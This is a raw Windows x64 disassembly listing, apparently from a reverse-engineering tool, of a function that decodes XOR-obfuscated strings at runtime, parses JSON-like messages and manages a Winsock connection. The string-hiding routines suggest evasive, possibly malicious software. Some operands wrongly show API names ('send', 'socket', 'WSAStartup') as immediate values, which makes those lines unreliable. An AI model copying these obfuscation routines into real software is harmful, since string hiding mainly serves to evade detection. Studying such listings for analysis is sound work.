mov rax, qword [0x140530838]
mov qword [rsp + 0x30], rax
cmp byte [0x14053083f], 0
je 0x140007b70
cmp edi, 2
jl 0x140007b2c
movdqa xmm4, xmmword [0x140534350]
movdqa xmm2, xmmword [0x140534190]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
mov eax, dword [0x1405342f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x30]
xorps xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1405341b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x140007b70
lea r9, [rsp + 0x30]
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140007b40
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14001a7d0
mov rcx, rax
call fcn.14001a9c0
mov byte [rbp + 0x188], al
mov rcx, qword [str.GJVYON_]
mov qword [rsp + 0x30], rcx
cmp byte [0x140530927], 0
je 0x140007cf0
cmp edi, 2
jl 0x140007ca9
movdqa xmm4, xmmword [0x140534350]
movdqa xmm2, xmmword [0x140534190]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
mov eax, dword [0x1405342f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x30]
xorps xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1405341b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x140007cf0
lea r9, [rsp + 0x30]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140007cc0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14001a7d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], r14
mov qword [rbp + 0x1f8], send
mov byte [rbp + 0x1e0], 0
or r15d, 2
mov dword [rsp + 0x78], r15d
cmp byte [rax], 3
jne 0x14000888d
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x1e0]
call fcn.140017a00
and r15d, 0xfffffffd
or r15d, 1
movzx eax, word [0x140531000]
mov word [rsp + 0x38], ax
movzx eax, byte [0x140531002]
mov byte [rsp + 0x38], 0x69
xor byte [rsp + 0x39], 0x38
xor al, 0x39
mov byte [rsp + 0x3a], al
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14001a7d0
mov rcx, rax
call fcn.14001a9c0
mov byte [rbp + 0x189], al
mov ecx, dword [0x140530fe0]
mov dword [rsp + 0x78], ecx
cmp byte [0x140530fe3], 0
je 0x140007e60
cmp edi, 2
jl 0x140007e23
movdqa xmm3, xmmword [0x140534190]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140534350]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140534350]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1405342f0]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x140007e60
lea r9, [rsp + 0x78]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007e30
lea rdx, [rsp + 0x78]
mov rcx, rbx
call fcn.14001a7d0
cmp byte [rax], 4
jne 0x140008839
movzx r14d, byte [rax + 8]
movsd xmm0, qword [str.BH__OYbJV__B]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x1405305a0]
mov dword [rsp + 0x48], eax
cmp byte [0x1405305a3], 0
je 0x140007ff0
xor r8d, r8d
cmp edi, 2
jl 0x140007fae
movdqa xmm4, xmmword [0x140534350]
movdqa xmm2, xmmword [0x140534190]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
mov eax, dword [0x1405342f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.BH__OYbJV__B]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x1405341b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1405341f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140007fc0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14001a7d0
mov rcx, rax
call fcn.14001ae20
mov r13d, eax
movups xmm0, xmmword [str.R_ISI_IWP.]
movups xmmword [rbp + 0x1a0], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x1400081a0
cmp edi, 2
jl 0x140008161
movdqa xmm5, xmmword [0x140534190]
xor edx, edx
movdqa xmm4, xmmword [0x140534350]
movdqa xmm6, xmmword [0x1405341f0]
movdqa xmm0, xmmword [0x1405342f0]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x1a4]
mov r8d, dword [rbp - 0x80]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140534260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140008062
jmp 0x1400081a0
lea r9, [rbp + 0x1a0]
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140008170
lea rdx, [rbp + 0x1a0]
mov rcx, rbx
call fcn.14001a7d0
mov rcx, rax
call fcn.14001ae20
mov r12d, eax
mov rax, qword [rbp - 0x70]
mov rdi, qword [rax]
mov byte [rbp - 0x60], r14b
movzx eax, byte [rbp + 0x189]
mov byte [rbp - 0x5f], al
movzx eax, byte [rbp + 0x188]
mov byte [rbp - 0x5e], al
mov rdx, rsi
lea rcx, [rbp - 0x58]
call fcn.140017c30
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xor edx, edx
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], rdx
lea r14, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova r14, qword [rbp + 0x1e0]
mov rsi, qword [rbp + 0x1f0]
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140008833
mov qword [rbp - 0x20], send
cmp rsi, 0xf
ja 0x140008247
mov qword [rbp - 0x28], rsi
movups xmm2, xmmword [r14]
movups xmmword [rbp - 0x38], xmm2
jmp 0x1400082dd
mov rbx, rsi
or rbx, 0xf
cmp rbx, rax
jbe 0x140008266
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000828d
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400082af
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000882d
mov rcx, rax
call fcn.1400e9cb0
mov rcx, rax
test rax, rax
je 0x140008429
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400082be
test rcx, rcx
je 0x1400082bb
call fcn.1400e9cb0
jmp 0x1400082be
mov rax, rdx
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movups xmm2, xmmword [rbp - 0x38]
mov dword [rbp - 0x18], r13d
mov dword [rbp - 0x14], r12d
mov rdx, qword [rdi + 0x78]
cmp rdx, qword [rdi + 0x80]
je 0x140008354
movzx eax, byte [rbp - 0x60]
mov byte [rdx], al
movzx eax, byte [rbp - 0x5f]
mov byte [rdx + 1], al
movzx eax, byte [rbp - 0x5e]
mov byte [rdx + 2], al
xor r14d, r14d
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rdx + 8], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rdx + 0x18], xmm1
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], r14b
movups xmmword [rdx + 0x28], xmm2
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rdx + 0x38], xmm0
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], send
mov byte [rbp - 0x38], r14b
mov dword [rdx + 0x48], r13d
mov dword [rdx + 0x4c], r12d
add qword [rdi + 0x78], 0x50
jmp 0x140008364
lea r8, [rbp - 0x60]
lea rcx, [rdi + 0x70]
call fcn.140023920
xor r14d, r14d
lea rcx, [rbp - 0x38]
call fcn.140001cd0
lea rcx, [rbp - 0x58]
call fcn.140001cd0
nop
lea rcx, [rbp + 0x1e0]
call fcn.140001cd0
mov rbx, qword [rbp + 0x200]
movzx ecx, byte [rbx]
sub ecx, 1
je 0x1400083aa
cmp ecx, 1
je 0x1400083a0
inc qword [rbp + 0x220]
jmp 0x140008406
add qword [rbp + 0x210], 0x10
jmp 0x140008406
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
je 0x1400083da
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], 0
jne 0x1400083ff
cmp rcx, qword [rax + 0x10]
jne 0x1400083ff
mov rcx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x1400083c5
jmp 0x1400083ff
mov rdx, qword [rax]
cmp byte [rdx + 0x19], 0
jne 0x1400083ff
nop dword [rax]
nop word [rax + rax]
mov rax, rdx
mov rcx, qword [rdx]
mov rdx, rcx
cmp byte [rcx + 0x19], 0
je 0x1400083f0
mov qword [rbp + 0x208], rax
mov r8, qword [rbp + 0x228]
inc r8
mov qword [rbp + 0x228], r8
cmp rbx, qword [rbp + 0x280]
jne 0x1400087f9
jmp 0x1400078b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x2d8]
call fcn.140001cd0
lea rcx, [rbp + 0x2b8]
call fcn.140001cd0
nop
lea rcx, [rbp + 0x258]
call fcn.140001cd0
lea rcx, [rbp + 0x238]
call fcn.140001cd0
mov rcx, qword [rbp - 0x70]
mov rax, qword [rcx]
mov dword [rax + 0x18], 3
movzx edx, byte [rbp + 0x190]
lea rcx, [rbp + 0x198]
call fcn.140019120
mov rsi, qword [rbp + 0x10]
movzx edx, byte [rbp + 0x1b8]
lea rcx, [rbp + 0x1c0]
call fcn.140019120
jmp 0x1400086b5
cmp al, 8
jne 0x140008642
mov qword [rbp + 0x108], r14
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1a0]
call fcn.14001a6a0
nop
movzx eax, word [0x14053076c]
mov word [rsp + 0x38], ax
movzx eax, byte [0x14053076e]
mov byte [rsp + 0x38], WSAStartup
xor byte [rsp + 0x39], 0x38
xor al, 0x39
mov byte [rsp + 0x3a], al
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x1a0]
call fcn.14001a7d0
mov rbx, rax
cmp byte [rax], 0
jne 0x140008520
mov byte [rax], 2
mov ecx, 0x18
call fcn.1400e9cb0
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r14
mov qword [rbx + 8], rax
cmp byte [rbx], 2
jne 0x140008768
mov rsi, qword [rbx + 8]
mov rax, qword [rsi + 8]
sub rax, qword [rsi]
sar rax, 4
test rax, rax
jne 0x14000859a
mov byte [rbp + 0x190], al
xor edx, edx
lea rcx, [rbp + 0x198]
call fcn.140019f40
nop
mov rax, qword [rbx + 8]
mov r8, qword [rax + 8]
mov rdx, r8
sub rdx, qword [rax]
sar rdx, 4
mov r9d, 1
sub r9, rdx
lea rax, [rbp + 0x190]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.140018c70
nop
movzx edx, byte [rbp + 0x190]
lea rcx, [rbp + 0x198]
call fcn.140019120
mov rax, qword [rbx + 8]
mov rcx, qword [rax]
movzx edx, byte [rcx]
mov r8d, edx
sub r8d, 5
je 0x14000860d
sub r8d, 1
je 0x1400085fd
cmp r8d, 1
jne 0x14000894c
lea rax, [rcx + 8]
cmp dl, 7
cmovne rax, r14
xor edx, edx
movsd xmm0, qword [rax]
movsd xmm1, qword [0x1405340a8]
comisd xmm0, xmm1
jb 0x1400085f3
subsd xmm0, xmm1
comisd xmm0, xmm1
jae 0x1400085f3
movabs rax, 0x8000000000000000
mov rdx, rax
cvttsd2si rcx, xmm0
add rcx, rdx
jmp 0x140008621
lea rax, [rcx + 8]
cmp dl, 6
cmovne rax, r14
mov rcx, qword [rax]
jmp 0x140008621
sub dl, 5
cmp dl, 1
jbe 0x14000861a
mov rcx, r14
jmp 0x14000861e
add rcx, 8
mov rcx, qword [rcx]
mov rax, qword [r13]
mov qword [rax + 0x28], rcx
movzx edx, byte [rbp + 0x1a0]
lea rcx, [rbp + 0x1a8]
call fcn.140019120
mov rsi, qword [rbp + 0x10]
jmp 0x1400086b5
cmp al, 9
jne 0x140008668
mov rcx, qword [r13]
lea rdx, [rcx + 0x58]
call fcn.140001ac0
mov rcx, qword [r13]
cdqe
cmp rax, qword [rcx + 0x28]
jne 0x1400086b5
mov dword [rcx + 0x18], 6
jmp 0x1400086b5
cmp al, 7
jne 0x1400086b5
mov rax, qword [r13]
mov dword [rax + 0x18], 8
mov rbx, qword [r13]
mov eax, r14d
xchg byte [rbx + 4], al
cmp qword [rbx + 8], 0
je 0x1400086b5
movsxd rcx, dword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx + 8]
call fcn.140075a20
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400086a8
call fcn.140089c00
mov dword [rbx], 0xffffffff
xor r14d, r14d
mov qword [rbx + 8], r14
lea rcx, [rbp + 0x300]
call fcn.140001cd0
nop
cmp qword [rsi + 0x20], 0xf
lea rcx, [rsi + 8]
jbe 0x1400086d1
mov rcx, qword [rsi + 8]
mov qword [rsi + 0x18], r14
mov byte [rcx], 0
lea rcx, [rsi + 0x28]
mov rax, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400086e9
mov rax, qword [rcx]
mov qword [rcx + 0x10], r14
mov byte [rax], 0
mov byte [rsi + 1], 0xff
jmp 0x140008728
lea rax, [rdx + 8]
cmp qword [rdx + 0x20], 0xf
jbe 0x140008705
mov rax, qword [rdx + 8]
mov qword [rdx + 0x18], r14
mov byte [rax], 0
lea rcx, [rdx + 0x28]
mov rax, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x14000871d
mov rax, qword [rcx]
mov qword [rcx + 0x10], r14
mov byte [rax], 0
mov byte [rdx + 1], 0xff
call fcn.140001cd0
lea rcx, [rsi + 8]
call fcn.140001cd0
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.1400e9c90
mov rbx, qword [rsp + 0x520]
movaps xmm6, xmmword [rsp + 0x4c0]
add rsp, 0x4d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, rbx
call fcn.140019580
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.140001c90
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_numeric_argument_with
lea rcx, [rbp + 0x1e0]
call fcn.14001a490
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0x148]
call fcn.140002d80
lea rdx, [0x14054ffc0]
lea rcx, [rbp + 0x148]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.cannot_get_value
lea rcx, [rbp - 0x60]
call fcn.140001c90
nop
lea r8, [rbp - 0x60]
mov edx, 0xd6
lea rcx, [rbp + 0x110]
call fcn.140002c20
lea rdx, [0x14054fe48]
lea rcx, [rbp + 0x110]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.cannot_compare_iterators_of_different_containers
lea rcx, [rbp - 0x60]
call fcn.140001c90
nop
lea r8, [rbp - 0x60]
mov edx, 0xd4
lea rcx, [rbp + 0x50]
call fcn.140002c20
lea rdx, [0x14054fe48]
lea rcx, [rbp + 0x50]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001730
int3
call fcn.1400017d0
nop
mov rcx, rax
call fcn.140019580
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140001c90
nop
mov r8, rax
lea rdx, str.type_must_be_boolean__but_is
lea rcx, [rbp + 0x110]
call fcn.14001a490
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x370]
call fcn.140002d80
lea rdx, [0x14054ffc0]
lea rcx, [rbp + 0x370]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140019580
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140001c90
nop
mov r8, rax
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0xb0]
call fcn.14001a490
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x148]
call fcn.140002d80
lea rdx, [0x14054ffc0]
lea rcx, [rbp + 0x148]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.cannot_get_value
lea rcx, [rbp - 0x60]
call fcn.140001c90
nop
lea r8, [rbp - 0x60]
mov edx, 0xd6
lea rcx, [rbp + 0x50]
call fcn.140002c20
lea rdx, [0x14054fe48]
lea rcx, [rbp + 0x50]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.cannot_use_key___for_non_object_iterators
lea rcx, [rbp - 0x60]
call fcn.140001c90
nop
lea r8, [rbp - 0x60]
mov edx, 0xcf
lea rcx, [rbp + 0x50]
call fcn.140002c20
lea rdx, [0x14054fe48]
lea rcx, [rbp + 0x50]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140019580
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140001c90
nop
mov r8, rax
lea rdx, str.type_must_be_number__but_is
lea rcx, [rbp + 0x110]
call fcn.14001a490
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x50]
call fcn.140002d80
lea rdx, [0x14054ffc0]
lea rcx, [rbp + 0x50]
call sub.VCRUNTIME140.dll__CxxThrowException
int3